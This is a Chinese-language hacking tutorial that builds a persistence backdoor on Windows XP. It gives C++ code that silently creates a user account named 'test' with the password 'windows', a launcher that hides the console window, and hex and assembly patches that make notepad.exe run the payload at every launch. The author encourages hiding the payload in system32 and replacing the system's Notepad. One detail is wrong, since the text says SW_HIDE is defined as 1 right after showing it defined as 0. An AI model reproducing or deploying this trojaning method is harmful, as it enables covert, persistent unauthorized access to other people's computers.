本文測試平臺:windows xp sp2, vc++6.0
我很喜歡孟方明[-273]的文章,很有啟發(fā)性,常常是show一種思路,而不僅僅是一種方法。
《逆向工程打造隱蔽的后門》中的添加用戶的后門,還沒有做到真正的隱蔽,因為有2次會閃過dos(我也不知道改叫什么窗口,暫且叫dos吧)窗口。但是孟方明提供了思路,我等菜鳥花了數(shù)星期研究之后,小有心得,拿出來給大家分享,下面我來給出方法:
開始真正的測試之前,先看下面的下面這個程序代碼(相信菜鳥也可以看懂):
//測試程序,作用添加一個用戶test并修改密碼為windows
//AddUser.cpp
#include
int main(int argc, char* argv[])
{
system("net user test /add");
system("net user test windows");
system("pause"); //暫停程序,以便查看程序是否成功運(yùn)行,實際應(yīng)用時去掉
return 0;
}
編譯一下,將生成的程序重命名為AddUser.exe,運(yùn)行
沒有關(guān)系,趕緊刪除test這個用戶
再來看看下面的代碼:
// ExecuteAddUser.cpp
#include
int main(int argc, char* argv[])
{
ShellExecute(0, "open", "AddUser.exe", "", "", SW_HIDE); //注意SW_HIDE
system("pause"); //暫停程序,以便查看程序是否成功運(yùn)行,實際應(yīng)用時去掉
return 0;
}
也編譯一下,生成ExecuteAddUser.exe,現(xiàn)在把AddUser.exe復(fù)制到ExecuteAddUser.exe所在的目錄。運(yùn)行ExecuteAddUser.exe, 嘿嘿,你沒有看到AddUser.exe閃過dos窗口吧。去看看系統(tǒng)用戶,看到test用戶了吧。為什么沒有顯示窗口呢?上面已經(jīng)表示出來了這里的參數(shù)SW_HIDE就是不顯示窗口的意思,詳細(xì)描述請查閱MSDN。而且進(jìn)程列表里面沒有cmd.exe
到這里我們的具體思路就已經(jīng)出來了:
只要把ExecuteAddUser.exe的代碼嵌入到某一個程序里面(假設(shè)這里是A.exe),這樣每次運(yùn)行A.exe就會執(zhí)行我們的AddUser.exe,如果把ExecuteAddUser.exe的代碼嵌入到記事本,嘿嘿,那么這個用戶就很難從機(jī)器上消失了,是不是有點強(qiáng)盜邏輯。
想法是好的,但是要嵌入到某一個程序里面,就需要注意這里的參數(shù)SW_HIDE了,因為我們嵌入的時候,代碼不能用SW_HIDE。其實SW_HIDE是微軟定義的一個宏而已,我想到一個比較傻的辦法來解決這個問題。
在vc++的目錄搜索。終于在WINUSER.H中
找到如下定義:
/*
* ShowWindow() Commands
*/
#define SW_HIDE 0
中間的省略。
#define SW_MAX 11
可以看到SW_HIDE被定義為1。
問題解決了,去掉AddUser.cpp中的system("pause"); 去掉再次編譯為AddUser.exe,復(fù)制到D盤(這里只是測試,實際上可能會被放到
c:\windows\system32\......,藏得越深越好啊)。
剩下的事情就很簡單了基本上就是和孟方明的操作一樣。修改如下:
原來的記事本入口:
01006AE0 > $ 6A 70 PUSH 70
01006AE2 . 68 88180001 PUSH notepad.01001888
01006AE7 . E8 BC010000 CALL notepad.01006CA8
修改為:
01006AE0 > $ /E9 BB120000 JMP notepad_.01007DA0
01006AE5 > |90 NOP
01006AE6 . |90 NOP
01006AE7 . |E8 BC010000 CALL notepad_.01006CA8
在01007D74添加如下字符:
01007D74 . 64 3A 5C 5C 4>ASCII "d:\\AddUser.exe",0
01007D84 . 6F 70 65 6E 0>ASCII "open",0
修改01007DA0為:
01007DA0 > \60 PUSHAD
01007DA1 . 6A 00 PUSH 0 ; /IsShown = 0
01007DA3 . 6A 00 PUSH 0 ; |DefDir = NULL
01007DA5 . 6A 00 PUSH 0 ; |Parameters = NULL
01007DA7 . 68 747D0001 PUSH notepad_.01007D74 ; |FileName = "d:\\AddUser.exe"
01007DAC . 68 847D0001 PUSH notepad_.01007D84 ; |Operation = "open"
01007DB1 . 6A 00 PUSH 0 ; |hWnd = NULL
01007DB3 . 90 NOP ; |
01007DB4 . 90 NOP ; |
01007DB5 . 90 NOP ; |
01007DB6 . E8 FEAB3F76 CALL SHELL32.ShellExecuteA ; \ShellExecuteA
01007DBB . 61 POPAD
01007DBC . 6A 70 PUSH 70
01007DBE . 68 88180001 PUSH notepad_.01001888
01007DC3 .^ E9 1DEDFFFF JMP notepad_.01006AE5
修改完成后保存為note_test.exe,運(yùn)行,哈哈,沒有看到dos窗口吧,看看系統(tǒng)用戶吧,有個test吧,呵呵成功。現(xiàn)在修改路徑AddUser.exe的路徑吧,別忘了在記事本里修改啊,也不要忘了覆蓋系統(tǒng)的記事本,除非別人不用記事本,否則。。。。。。呵呵.。
責(zé)任編輯 趙毅 zhaoyi#51cto.com TEL:(010)68476636-8001


